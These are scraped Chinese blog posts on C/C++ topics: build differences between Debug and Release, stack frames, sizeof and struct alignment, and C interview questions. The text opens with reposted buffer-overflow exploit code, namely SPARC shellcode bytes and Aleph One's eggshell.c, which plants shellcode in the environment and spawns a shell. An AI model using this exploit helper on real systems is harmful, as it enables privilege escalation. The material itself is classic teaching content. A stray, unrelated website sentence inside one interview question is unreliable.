"/x92/x03/xa0/x08/x94/x1a/x80/x0a/x9c/x03/xa0/x10/xec/x3b/xbf/xf0" "/xdc/x23/xbf/xf8/xc0/x23/xbf/xfc/x82/x10/x20/x3b/xaa/x10/x3f/xff" "/x91/xd5/x60/x01/x90/x1b/xc0/x0f/x82/x10/x20/x01/x91/xd5/x60/x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ---------------------------------------------------------------------- -------- eggshell.c ---------------------------------------------------------------------- -------- /* * eggshell v1.0 * * Aleph One / [email protected] */ #include <stdlib.h> #include <stdio.h> #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg./n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory./n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory./n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:/t%d/t/tEgg size:/t%d/tAligment:/t%d/t]/n", bsize, eggsize, align); printf("[ Address:/t0x%x/tOffset:/t/t%d/t/t/t/t]/n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE ) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '/0'; egg[eggsize - 1] = '/0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]/n"); } 16:32 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!157.entry 添加评论 11月8日 为什么release生成的exe文件的运行结果和debug下的不同? 为什么release生成的exe文件的运行结果和debug下的不同? 转贴一篇,不知道贴过没有,vcer上面的 -------------------------------------- 本文主要包含如下内容: 1. Debug 和 Release 编译方式的本质区别 2. 哪些情况下 Release 版会出错 2. 怎样“调试” Release 版的程序 --------------------------------------   关于Debug和Release之本质区别的讨论   一、Debug 和 Release 编译方式的本质区别   Debug 通常称为调试版本,它包含调试信息,并且不作任何优化,便于程序员调试程序。Release 称为发布版本,它往往是进行了各种优化,使得程序在代码大小和运行速度上都是最优的,以便用户很好地使用。 Debug 和 Release 的真正秘密,在于一组编译选项。下面列出了分别针对二者的选项(当然除此之外还有其他一些,如/Fd /Fo,但区别并不重要,通常他们也不会引起 Release 版错误,在此不讨论)   Debug 版本: /MDd /MLd 或 /MTd   使用 Debug runtime library(调试版本的运行时刻函数库) /Od                 关闭优化开关 /D "_DEBUG"         相当于 #define _DEBUG,打开编译调试代码开关(主要针对assert函数) /ZI                 创建 Edit and continue(编辑继续)数据库,这样在调试过程中如果修改了源代码不需重新编译 /GZ                 可以帮助捕获内存错误 /Gm                 打开最小化重链接开关,减少链接时间   Release 版本: /MD /ML 或 /MT      使用发布版本的运行时刻函数库 /O1 或 /O2          优化开关,使程序最小或最快 /D "NDEBUG"         关闭条件编译调试代码开关(即不编译assert函数) /GF                 合并重复的字符串,并将字符串常量放到只读内存,防止被修改  实际上,Debug 和 Release 并没有本质的界限,他们只是一组编译选项的集合,编译器只是按照预定的选项行动。事实上,我们甚至可以修改这些选项,从而得到优化过的调试版本或是带跟踪语句的发布版本。   二、哪些情况下 Release 版会出错   有了上面的介绍,我们再来逐个对照这些选项看看 Release 版错误是怎样产生的  1. Runtime Library:链接哪种运行时刻函数库通常只对程序的性能产生影响。调试版本的 Runtime Library 包含了调试信息,并采用了一些保护机制以帮助发现错误,因此性能不如发布版本。编译器提供的 Runtime Library 通常很稳定,不会造成 Release 版错误;倒是由于 Debug 的 Runtime Library 加强了对错误的检测,如堆内存分配,有时会出现 Debug 有错但 Release 正常的现象。应当指出的是,如果Debug有错,即使 Release正常,程序肯定是有 Bug 的,只不过可能是 Release版的某次运行没有表现出来而已。   2. 优化:这是造成错误的主要原因,因为关闭优化时源程序基本上是直接翻译的,而打开优化后编译器会作出一系列假设。这类错误主要有以下几种:   (1) 帧指针(Frame Pointer)省略(简称 FPO ):在函数调用过程中,所有调用信息(返回地址、参数)以及自动变量都是放在栈中的。若函数的声明与实现不同(参数、返回值、调用方式),就会产生错误————但 Debug 方式下,栈的访问通过 EBP 寄存器保存的地址实现,如果没 有发生数组越界之类的错误(或是越界“不多”),函数通常能正常执行;Release 方式下,优化会省略 EBP 栈基址指针,这样通过一个全局指针访问栈就会造成返回地址错误是程序崩溃。C++ 的强类型特性能检查出大多数这样的错误,但如果用了强制类型转换,就不行了。你可以在 Release 版本中强制加入 /Oy- 编译选项来关掉帧指针省略,以确定是否此类错误。此类错误通常有:   ● MFC 消息响应函数书写错误。正确的应为 afx_msg LRESULT OnMessageOwn(WPARAM wparam, LPARAM lparam); ON_MESSAGE 宏包含强制类型转换。防止这种错误的方法之一是重定义 ON_MESSAGE  宏,把下列代码加到 stdafx.h 中(在#include "afxwin.h"之后),函数原形错误时编译会报错       #undef ON_MESSAGE       #define ON_MESSAGE(message, memberFxn) /       { message, 0, 0, 0, AfxSig_lwl, /       (AFX_PMSG)(AFX_PMSGW)(static_cast< LRESULT (AFX_MSG_CALL /       CWnd::*)(WPARAM, LPARAM) > (&memberFxn) },   (2) volatile 型变量:volatile 告诉编译器该变量可能被程序之外的未知方式修改(如系统、其他进程和线程)。优化程序为了使程序性能提高,常把一些变量放在寄存器中(类似于 register 关键字),而其他进程只能对该变量所在的内存进行修改,而寄存器中的值没变。如果你的 程序是多线程的,或者你发现某个变量的值与预期的不符而你确信已正确的设置了,则很可能遇到这样的问题。这种错误有时会表现为程序在最快优化出错而最小优化正常。把你认为可疑的变量加上 volatile 试试。  (3) 变量优化:优化程序会根据变量的使用情况优化变量。例如,函数中有一个未被使用的变量,在 Debug 版中它有可能掩盖一个数组越界,而在 Release 版中,这个变量很可能被优化调,此时数组越界会破坏栈中有用的数据。当然,实际的情况会比这复杂得多。与此有关的错误有: ● 非法访问,包括数组越界、指针错误等。例如          void fn(void)          {            int i;            i = 1;            int a[4];            {              int j;              j = 1;            }            a[-1] = 1;//当然错误不会这么明显,例如下标是变量            a[4] = 1;          } j 虽然在数组越界时已出了作用域,但其空间并未收回,因而 i 和 j 就会掩盖越界。而 Release 版由于 i、j 并未其很大作用可能会被优化掉,从而使栈被破坏。   3. _DEBUG 与 NDEBUG :当定义了 _DEBUG 时,assert() 函数会被编译,而 NDEBUG 时不被编译。除此之外,VC++中还有一系列断言宏。这包括:       ANSI C 断言         void assert(int expression );     C Runtime Lib 断言  _ASSERT( booleanExpression );                         _ASSERTE( booleanExpression );     MFC 断言            ASSERT( booleanExpression );                         VERIFY( booleanExpression );                         ASSERT_VALID( pObject );                         ASSERT_KINDOF( classname, pobject );     ATL 断言            ATLASSERT( booleanExpression );     此外,TRACE() 宏的编译也受 _DEBUG 控制。   所有这些断言都只在 Debug版中才被编译,而在 Release 版中被忽略。唯一的例外是VERIFY() 。事实上,这些宏都是调用了 assert() 函数,只不过附加了一些与库有关的调试代码。如果你在这些宏中加入了任何程序代码,而不只是布尔表达式(例如赋值、能改变变量值的函数调用 等 ),那么 Release 版都不会执行这些操作,从而造成错误。初学者很容易犯这类错误,查找的方法也很简单,因为这些宏都已在上面列出,只要利用 V C++ 的 Find in Files 功能在工程所有文件中找到用这些宏的地方再一一检查即可。另外,有些高手可能还会加入 #ifdef _DEBUG 之 类的条件编译,也要注意一下。 顺便值得一提的是 VERIFY() 宏,这个宏允许你将程序代码放在布尔表达式里。这个宏通常用来检查 Windows API 的返回值。有些人可能为这个原因而滥用 VERIFY() ,事实上这是危险的,因为 VERIFY() 违反了断言的思想,不能使程序代码和调试代码完全分离,最终可能会带来很多麻 烦。因此,专家们建议尽量少用这个宏。  4. /GZ 选项:这个选项会做以下这些事  (1) 初始化内存和变量。包括用 0xCC 初始化所有自动变量,0xCD ( Cleared Data) 初始化堆中分配的内存(即动态分配的内存,例如 new ),0xDD ( Dead Data ) 填充已被释放的堆内存(例如 delete ),0xFD( deFencde Data ) 初始化受保护的内存(debug 版在动态分配内存的前 后加入保护内存以防止越界访问),其中括号中的词是微软建议的助记词。这样做的好处是这些值都很大,作为指针是不可能的(而且 32 位系统中指针很少是奇数值,在有些系统中奇数的指针会产生运行时错误),作为数值也很少遇到,而且这些值也很容易辨认,因此这很有利于在 D ebug 版中发现 Release 版才会遇到的错误。要特别注意的是,很多人认为编译器会用 0 来初始化变量,这是错误的(而且这样很不利于查找错误)。 (2) 通过函数指针调用函数时,会通过检查栈指针验证函数调用的匹配性。(防止原形不匹配) (3) 函数返回前检查栈指针,确认未被修改。(防止越界访问和原形不匹配,与第二项合在一起可大致模拟帧指针省略 FPO )  通常 /GZ 选项会造成 Debug 版出错而 Release 版正常的现象,因为 Release 版中未初始化的变量是随机的,这有可能使指针指向一个有效地址而掩盖了非法访问。   除此之外,/Gm /GF 等选项造成错误的情况比较少,而且他们的效果显而易见,比较容易发现。   三、怎样“调试” Release 版的程序   遇到 Debug 成功但 Release 失败,显然是一件很沮丧的事,而且往往无从下手。如果你看了以上的分析,结合错误的具体表现,很快找出了错误,固然很好。但如果一时找不出,以下给出了一些在这种情况下的策略。 1. 前面已经提过,Debug 和 Release 只是一组编译选项的差别,实际上并没有什么定义能区分二者。我们可以修改 Release 版的编译选项来缩小错误范围。如上所述,可以把 Release 的选项逐个改为与之相对的 Debug 选项,如 /MD 改为 /MDd、/O1 改为 /Od,或运行时间优化改为程 序大小优化。注意,一次只改一个选项,看改哪个选项时错误消失,再对应该选项相关的错误,针对性地查找。这些选项在 Project/Settings... 中都可以直接通过列表选取,通常不要手动修改。由于以上的分析已相当全面,这个方法是最有效的。   2. 在编程过程中就要时常注意测试 Release 版本,以免最后代码太多,时间又很紧。  3. 在 Debug 版中使用 /W4 警告级别,这样可以从编译器获得最大限度的错误信息,比如 if( i =0 )就会引起 /W4 警告。不要忽略这些警告,通常这是你程序中的 Bug 引起的。但有时 /W4 会带来很多冗余信息,如 未使用的函数参数 警告,而很多消息处理函数都会忽略某些参数。我 们可以用       #progma warning(disable: 4702) //禁止       //...       #progma warning(default: 4702) //重新允许 来暂时禁止某个警告,或使用       #progma warning(push, 3) //设置警告级别为 /W3       //...       #progma warning(pop) //重设为 /W4 来暂时改变警告级别,有时你可以只在认为可疑的那一部分代码使用 /W4。   4.你也可以像 Debug 一样调试你的 Release 版,只要加入调试符号。在 Project/Settings... 中,选中 Settings for "Win32 Release",选中 C/C++ 标签,Category 选General,Debug Info 选 Program Database。再在 Link 标签 Project options  最后加上 "/OPT:REF" (引号不 要输)。这样调试器就能使用 pdb 文件中的调试符号。但调试时你会发现断点很难设置,变量也很难找到——这些都被优化过了。不过令人庆幸的是,Call Stack 窗口仍然工作正常,即使帧指针被优化,栈信息(特别是返回地址)仍然能找到。这对定位错误很有帮助。 参考文献 《Windows 程序调试》Everett N. McKay  Mike Woodring 中国电力出版社  http://expert.csdn.net/Expert/topic/1349/1349401.xml?temp=.6075556   http://www.csdn.net/develop/article/17/17068.shtm  http://expert.csdn.net/Expert/topic/1456/1456293.xml?temp=6.505984E-02  http://expert.csdn.net/Expert/topic/1400/1400166.xml?temp=.4560053 22:10 添加评论阅读评论 (1)固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!155.entry 添加评论 函数调用,压栈顺序(估计是VC) 在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。   为什么要压EBP? 21:47 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!154.entry 添加评论 11月3日 假如爱有天意 经典得不能再经典的片子,今天才一次看到。孙MM人张得PP。整部影片真是浪漫!   22:43 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!151.entry 添加评论 11月1日 关于sizeof()的一些思考 关于sizeof()的一些思考 0.关键字:sizeof,字节对齐,多继承,虚拟继承,成员函数指针 前向声明:   sizeof,一个其貌不扬的家伙,引无数菜鸟竟折腰,小虾我当初也没少犯迷糊,秉着“辛苦我一个,幸福千万人”的伟大思想,我决定将其尽可能详细的总结一下。   但当我总结的时候才发现,这个问题既可以简单,又可以复杂,所以本文有的地方并不适合初学者,甚至都没有必要大作文章。但如果你想“知其然,更知其所以然”的话,那么这篇文章对你或许有所帮助。   菜鸟我对C++的掌握尚未深入,其中不乏错误,欢迎各位指正啊 1. 定义:   sizeof是何方神圣sizeof乃C/C++中的一个操作符(operator)是也,简单的说其作用就是返回一个对象或者类型所占的内存字节数。 MSDN上的解释为: The sizeof keyword gives the amount of storage, in bytes, associated with a variable or a type (including aggregate types). This keyword returns a value of type size_t.   其返回值类型为size_t,在头文件stddef.h中定义。这是一个依赖于编译系统的值,一般定义为 typedef unsigned int size_t;   世上编译器林林总总,但作为一个规范,它们都会保证char、signed char和unsigned char的sizeof值为1,毕竟char是我们编程能用的最小数据类型。 2. 语法:   sizeof有三种语法形式,如下:   1) sizeof( object ); // sizeof( 对象 );   2) sizeof( type_name ); // sizeof( 类型 );   3) sizeof object; // sizeof 对象; 所以, int i; sizeof( i ); // ok sizeof i; // ok sizeof( int ); // ok sizeof int; // error   既然写法3可以用写法1代替,为求形式统一以及减少我们大脑的负担,第3种写法,忘掉它吧!实际上,sizeof计算对象的大小也是转换成对对象类型的计算,也就是说,同种类型的不同对象其sizeof值都是一致的。这里,对象可以进一步延伸至表达式,即sizeof可以对一个表达式求值,编译器根据表达式的最终结果类型来确定大小,一般不会对表达式进行计算。如: sizeof( 2 ); // 2的类型为int,所以等价于 sizeof( int ); sizeof( 2 + 3.14 ); // 3.14的类型为double,2也会被提升成double类型,所以等价于 sizeof( double );   sizeof也可以对一个函数调用求值,其结果是函数返回类型的大小,函数并不会被调用,我们来看一个完整的例子: char foo() {   printf("foo() has been called./n");   return 'a' } int main() {   size_t sz = sizeof( foo() ); // foo() 的返回值类型为char,所以sz = sizeof(char ),foo()并不会被调用   printf("sizeof( foo() ) = %d/n", sz); }   C99标准规定,函数、不能确定类型的表达式以及位域(bit-field)成员不能被计算sizeof值,即下面这些写法都是错误的:   sizeof( foo );// error   void foo2() { }   sizeof( foo2() );// error   struct S   {     unsigned int f1 : 1;     unsigned int f2 : 5;     unsigned int f3 : 12;   };   sizeof( S.f1 );// error 3. sizeof的常量性   sizeof的计算发生在编译时刻,所以它可以被当作常量表达式使用,如: char ary[ sizeof( int ) * 10 ]; // ok   最新的C99标准规定sizeof也可以在运行时刻进行计算,如下面的程序在Dev-C++中可以正确执行: int n; n = 10; // n动态赋值 char ary[n]; // C99也支持数组的动态定义 printf("%d/n", sizeof(ary)); // ok. 输出10   但在没有完全实现C99标准的编译器中就行不通了,上面的代码在VC6中就通不过编译。所以我们最好还是认为sizeof是在编译期执行的,这样不会带来错误,让程序的可移植性强些。 4. 基本数据类型的sizeof   这里的基本数据类型指short、int、long、float、double这样的简单内置数据类型,由于它们都是和系统相关的,所以在不同的系统下取值可能不同,这务必引起我们的注意,尽量不要在这方面给自己程序的移植造成麻烦。   一般的,在32位编译环境中,sizeof(int)的取值为4。 5. 指针变量的sizeof   学过数据结构的你应该知道指针是一个很重要的概念,它记录了另一个对象的地址。既然是来存放地址的,那么它当然等于计算机内部地址总线的宽度。所以在32位计算机中,一个指针变量的返回值必定是4(注意结果是以字节为单位),可以预计,在将来的64位系统中指针变量的sizeof结果为8。 char* pc = "abc"; int* pi; string* ps; char** ppc = &pc; void (*pf)();// 函数指针 sizeof( pc ); // 结果为4 sizeof( pi ); // 结果为4 sizeof( ps ); // 结果为4 sizeof( ppc ); // 结果为4 sizeof( pf );// 结果为4   指针变量的sizeof值与指针所指的对象没有任何关系,正是由于所有的指针变量所占内存大小相等,所以MFC消息处理函数使用两个参数WPARAM、LPARAM就能传递各种复杂的消息结构(使用指向结构体的指针)。 6. 数组的sizeof   数组的sizeof值等于数组所占用的内存字节数,如: char a1[] = "abc"; int a2[3]; sizeof( a1 ); // 结果为4,字符 末尾还存在一个NULL终止符 sizeof( a2 ); // 结果为3*4=12(依赖于int)   一些朋友刚开始时把sizeof当作了求数组元素的个数,现在,你应该知道这是不对的,那么应该怎么求数组元素的个数呢Easy,通常有下面两种写法: int c1 = sizeof( a1 ) / sizeof( char ); // 总长度/单个元素的长度 int c2 = sizeof( a1 ) / sizeof( a1[0] ); // 总长度/第一个元素的长度   写到这里,提一问,下面的c3,c4值应该是多少呢 void foo3(char a3[3]) {   int c3 = sizeof( a3 ); // c3 == } void foo4(char a4[]) {   int c4 = sizeof( a4 ); // c4 == }   也许当你试图回答c4的值时已经意识到c3答错了,是的,c3!=3。这里函数参数a3已不再是数组类型,而是蜕变成指针,相当于char* a3,为什么仔细想想就不难明白,我们调用函数foo1时,程序会在栈上分配一个大小为3的数组吗不会!数组是“传址”的,调用者只需将实参的地址传递过去,所以a3自然为指针类型(char*),c3的值也就为4。 7. 结构体的sizeof   这是初学者问得最多的一个问题,所以这里有必要多费点笔墨。让我们先看一个结构体: struct S1 {   char c;   int i; };   问sizeof(s1)等于多少聪明的你开始思考了,char占1个字节,int占4个字节,那么加起来就应该是5。是这样吗你在你机器上试过了吗也许你是对的,但很可能你是错的!VC6中按默认设置得到的结果为8。   Why为什么受伤的总是我   请不要沮丧,我们来好好琢磨一下sizeof的定义——sizeof的结果等于对象或者类型所占的内存字节数,好吧,那就让我们来看看S1的内存分配情况: S1 s1 = { 'a', 0xFFFFFFFF };   定义上面的变量后,加上断点,运行程序,观察s1所在的内存,你发现了什么   以我的VC6.0为例,s1的地址为0x0012FF78,其数据内容如下:   0012FF78: 61 CC CC CC FF FF FF FF   发现了什么怎么中间夹杂了3个字节的CC看看MSDN上的说明: When applied to a structure type or variable, sizeof returns the actual size, which may include padding bytes inserted for alignment.   原来如此,这就是传说中的字节对齐啊!一个重要的话题出现了。   为什么需要字节对齐计算机组成原理教导我们这样有助于加快计算机的取数速度,否则就得多花指令周期了。为此,编译器默认会对结构体进行处理(实际上其它地方的数据变量也是如此),让宽度为2的基本数据类型(short等)都位于能被2整除的地址上,让宽度为4的基本数据类型(int等)都位于能被4整除的地址上,以此类推。这样,两个数中间就可能需要加入填充字节,所以整个结构体的sizeof值就增长了。   让我们交换一下S1中char与int的位置: struct S2 {   int i;   char c; };   看看sizeof(S2)的结果为多少,怎么还是8再看看内存,原来成员c后面仍然有3个填充字节,这又是为什么啊别着急,下面总结规律。   字节对齐的细节和编译器实现相关,但一般而言,满足三个准则:   1) 结构体变量的首地址能够被其最宽基本类型成员的大小所整除;   2) 结构体每个成员相对于结构体首地址的偏移量(offset)都是成员大小的整数倍,如有需要编译器会在成员之间加上填充字节(internal adding);   3) 结构体的总大小为结构体最宽基本类型成员大小的整数倍,如有需要编译器会在最末一个成员之后加上填充字节(trailing padding)。   对于上面的准则,有几点需要说明:   1) 前面不是说结构体成员的地址是其大小的整数倍,怎么又说到偏移量了呢因为有了第1点存在,所以我们就可以只考虑成员的偏移量,这样思考起来简单。想想为什么。   结构体某个成员相对于结构体首地址的偏移量可以通过宏offsetof()来获得,这个宏也在stddef.h中定义,如下: #define offsetof(s,m) (size_t)&(((s *)0)->m)   例如,想要获得S2中c的偏移量,方法为 size_t pos = offsetof(S2, c);// pos等于4   2) 基本类型是指前面提到的像char、short、int、float、double这样的内置数据类型,这里所说的“数据宽度”就是指其sizeof的大小。由于结构体的成员可以是复合类型,比如另外一个结构体,所以在寻找最宽基本类型成员时,应当包括复合类型成员的子成员,而不是把复合成员看成是一个整体。但在确定复合类型成员的偏移位置时则是将复合类型作为整体看待。   这里叙述起来有点拗口,思考起来也有点挠头,还是让我们看看例子吧(具体数值仍以VC6为例,以后不再说明): struct S3 {   char c1;   S1 s;   char c2; };   S1的最宽简单成员的类型为int,S3在考虑最宽简单类型成员时是将S1“打散”看的,所以S3的最宽简单类型为int,这样,通过S3定义的变量,其存储空间首地址需要被4整除,整个sizeof(S3)的值也应该被4整除。   c1的偏移量为0,s的偏移量呢这时s是一个整体,它作为结构体变量也满足前面三个准则,所以其大小为8,偏移量为4,c1与s之间便需要3个填充字节,而c2与s之间就不需要了,所以c2的偏移量为12,算上c2的大小为13,13是不能被4整除的,这样末尾还得补上3个填充字节。最后得到sizeof(S3)的值为16。   通过上面的叙述,我们可以得到一个公式:   结构体的大小等于最后一个成员的偏移量加上其大小再加上末尾的填充字节数目,即: sizeof( struct ) = offsetof( last item ) + sizeof( last item ) + sizeof( trailing padding ) 21:03 添加评论固定链接引用通告 (0)记录它游戏 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!149.entry 添加评论 C部分面试题目!   【1 使用宏】 1.1    #ifdef NDEBUG     #define TRACE(S) S    #else     #define TRACE(S) printf("%s;/n", #S); S    #endif 问:以上TRACE()宏的作用是什么? 1.2 #error的作用? 1.3 定义一个宏,求出给定数组中的元素的个数 #define NELEMENTS(array) ?? 1.4 定义一个宏,求出给定结构中给定成员的偏移量 #define OFFSET(structure, member) ?? 【2 数据声明和定义】 给定以下类型的变量a的定义式: a) An integer b) A pointer to an integer c) A pointer to a pointer to an integer d) An array of 10 integers e) An array of 10 pointers to integers f) A pointer to an array of 10 integers g) A pointer to a <I>function</I> that takes an integer as an argument and returns an integer h) An array of ten pointers to <I>function</I>s that take an integer argument and return an integer 【3 复杂类型(1)】 有如下表达式:    char (*(*x())[])(); 请用文字描述x是什么。 【4 复杂类型(2)】 jmp_buf的定义:    typedef struct _jmp_buf    {     REG_SET  reg;     int      extra[3];    } jmp_buf[1]; setjmp函数的原型:    extern int setjmp (jmp_buf __env); 问:调用setjmp时传递__env的内容,还是传递指针? 【5 头文件】 问:为什么标准头文件都有类似以下的结构?    #ifndef __INCvxWorksh    #define __INCvxWorksh    #ifdef __cplusplus    extern "C" {    #endif    /*...*/    #ifdef __cplusplus    }    #endif    #endif /* __INCvxWorksh */ 【6 static关键字】 请说出static关键字的3种用处: (1)用于全局变量; (2)用于局部变量; (3)用于函数。 /* file.c */ static int a; int b; static int fn() {  static int x;  int y; } 【7 const关键字】 7.1 const关键字的意义是什么? 7.2 解释以下的变量定义: const int a1; int const a2; const int *a3; int * const a4; int const * const a5; 【8 volatile关键字】 8.1 volatile意义?例如 volatile int *p; 8.2 volatile能和const一起使用吗?例如 volatile const int *p; 【9 sizeof()】 有以下定义:    char *pmsg = "A";    char msg[] = "A";    char ch    = 'A'; 问: sizeof(pmsg) = ? sizeof(msg)  = ? sizeof(“A”)  = ? sizeof(ch)   = ? sizeof(‘A’)  = ? (在C++中等于多少?) void f(char param[100]) { // sizeof(param) = ? } 【10 字符串】 有以下代码    char *pmsg = "hello, world!";    strcpy(pmsg, "hi, there."); 试评论该代码。 【11 混合运算】 有以下代码: void foo() {  unsigned int a = 6;  int b = -20;  (a+b > 6) ? puts("> 6") : puts(" < = 6"); } 比如我们以滑环这个网站来作为示例: 请问调用foo()的输出? 【12 内存访问】 有以下代码: void fn() {   int a[100];   int *p;     p = (int *)((unsigned int)a + 1);     printf(“p=0x%x/n”, *p); } 试评论以上代码。 【13 C库函数】 请说明以下函数的意义: void perror(const char *__s); fdprintf(int, const char *, ...); isspace(), isxdigit(), strerr(), sprintf()                 =============================================================================== 答案,仅供参考: 1.1 这道题主要考察#的功能,S是一个表达式。TRACE()的作用就是在DEBUG状态下,计算表达式S的值之前先打印S。 1.2 #error用于向编译器报错,并输出它后面带的错误信息。例如:    #ifndef SOMETHING    #error SOMETHING not defined!    #endif    如果在这段代码之前未定义过SOMETHING,则在编译时出错,并给出"SOMETHING not defined!"的错误信息。 1.3 #define NELEMENTS(array) (sizeof(array) / sizeof((array)[0])) 1.4 #define OFFSET(structure, member) ((int) &(((structure *)0)->member)) 2 (a) An integer:int a;  (b) A pointer to an integer:int *a;  (c) A pointer to a pointer to an integer:int **a;  (d) An array of 10 integers:int a[10];  (e) An array of 10 pointers to integers:int *a[10];  (f) A pointer to an array of 10 integers:int (*a)[10];  (g) A pointer to a <I>function</I> that takes an integer as an argument and returns an integer:int (*a)(int);  (h) An array of 10 pointers to <I>function</I>s that take an integer argument and return an integer:int (*a[10])(int); 3 char (*(*x())[])();  这道题来自"The C Programming Language"中的一个例子。  首先,确定标识符:x  x是一个函数,没有参数:x()  返回值是一个指针:*x()  这个指针指向一个数组:(*x())[]  数组中的每个元素是指针:*(*x())[]  指向一个不带参数的函数:(*(*x())[])()  函数的返回值是char:char (*(*x())[])()  这里,要知道*、()和[]的优先级。 4 这个定义有点怪,它的意思是:jmp_buf这种类型是一个数组,只有一个元素,元素类型为struct{...}。数组名作为函数参数时,应该是传递地址/指针。 5 在编译源文件时,C编译器和C++编译器都会对符号(函数或变量)名作某些修正,但两者采用的修正方法不同,所以两者生成的目标文件不能互相链接。在C++中使用extern "C"可以让C++符号获得C链接特性。由于C++编译器会自动定义__cplusplus宏,所以在C语言头文件中采用这种结构可以保证无论使用何种编译器,生成的目标文件都具有C链接特性,能够与标准C编译器所生成的目标文件相链接。 6 (1)用于全局变量:外部静态变量,只能在本源文件中被引用,不能被其它源文件所引用。  (2)用于局部变量:局部静态变量,在函数返回后存储单元不释放;下一次调用该函数时,该变量为上次函数返回时的值。  (3)用于函数:内部函数,只能被本源文件中的函数所调用,不能被其它源文件调用。 7.1 const关键字在C语言中用于声明"常变量",其值不可修改,但具有确定的数据类型。C编译器总是为其分配相应的存储单元。    在C++中,const关键字用于声明常量,C++编译器视具体情况决定是为其分配存储单元还是仅将其作为编译期间的常量。 7.2 const int a1;               a1是整型常量。    int const a2;               a2是整型常量。等同于const int a2;    const int *a3;              a3是指针(a3是可变的),指向一个整型常量。等同于int const *a3;    int * const a4;             a4是常量指针(a4不可变),指向一个整型变量。    int const * const a5;       a5是常量指针(a5不可变),指向一个整型常量。等同于const int * const a5; 8.1 volatile关键字用于声明内存映射的易失型变量,这类变量的值随时可能由于某种编译器所不知道的原因(例如,外部设备对其写入)所改变,所以编译器在进行代码优化时不能对其做任何的假设和依赖。 8.2 volatile可以和const一起使用,不过很少见。    const关键字的意思是限制编程者自己不能修改变量的值;两者并不矛盾。    例如一个内存映射的、只读的硬件寄存器,假设它的地址是p,则可以这样声明:volatile const UINT32 *p; 9 sizeof(pmsg) = 指针变量的长度  sizeof(msg) = 2 (字符数组的长度)  sizeof("A") = 2 (字符串的长度)  sizeof(ch) = 1 (字符变量的长度)  sizeof(‘A’) = 整型变量的长度 (在C语言中,字符常量的数据类型实际上是int;在C++中,它的数据类型是char,从而原式等于1)  sizeof(param) = 指针变量的长度 (数组名作参数时,传递的是数组的起始地址) 10 这种写法是和编译器&操作系统相关的,所以不应当这样写。在WIN2K+VC环境下debug程序时会出现异常。   不过这样写,编译器不会报错。按道理,"hello..."的类型是const char [N],它是不能赋值给char *的,   因为会丢失常量属性。但在const关键字成为C标准之前,大家都这样写程序,所以char *pmsg = "hello..."   这种写法被给予特别豁免,即使在C++中也是如此,在"The C++ Programming Language"的附录里对此有讨论。   "hello, world!"是字符串常量(string literal),它的类型是const char [N],N为字符串的长度(包括结尾的0)。   "The C Programming Language"指出,写字符串常量的结果是未定义的(undefined)。所以在有些平台(操作系统+编译器)   上程序不会出错,而在其它平台上程序出现异常。   GNU手册里这样说:   Writing into string constants is a very bad idea; "constants" should be constant.   不过在GNU中它提供另外的选择:使用-fwritable-strings进行编译就可以。   那么,为什么不允许修改字符串常量呢(它不也在内存中吗)?   这可能和另外一个特点有关,即重复字符串的合并。现在的编译器应该会主动帮助我们合并程序中相同的字符串常量   以节省内存。如果string literal可写,就会出现问题。例如:   void foo()   {   printf("%s/n", "how are you?");   }   void bar()   {   char *p = "how are you?";   strcpy(p, "WHO ARE YOU?");   }   调用foo()当然会打印"how are you"。但如果编译器合并字符串,那么先调用bar(),再调用foo(),foo()打印的就是   "WHO ARE YOU?"。这当然不是我们想要的结果。   另外一方面,这样写也有问题(确实有人这么写):   if (func() == "something")   ...   func()是:   char *func()   {   ...   return "something";   }   这就假设编译器一定会帮我们合并字符串,然而那也不一定。 11 输出"> 6"。   混合运算时的数据类型转换次序:int --> unsigned --> long --> double。   另外,char和short必定转换为int,float必定转换为double。 12 p = (int *)((unsigned int)a + 1);   代码的意图是想使p指向数组的第二个元素,但通常的写法是:p=a+1。这里存在这样的问题:a是个常量地址,   a+1指向下一个数组元素,而((unsigned int)a + 1)指向下一个内存地址。如果地址是字节计数的,则p指向的   是数组第一个元素的第二个字节。还有一个效果就是:在RISC上该printf语句会出异常,因为不允许非对齐访问   (mis-aligned access)。对齐访问就是访问2字节变量的地址要能被2整除,4字节变量的地址要能被4整除,etc。 13 这些函数到处都查得到,就不用做了吧. 20:33 添加评论固定链接引用通告 (0)记录它 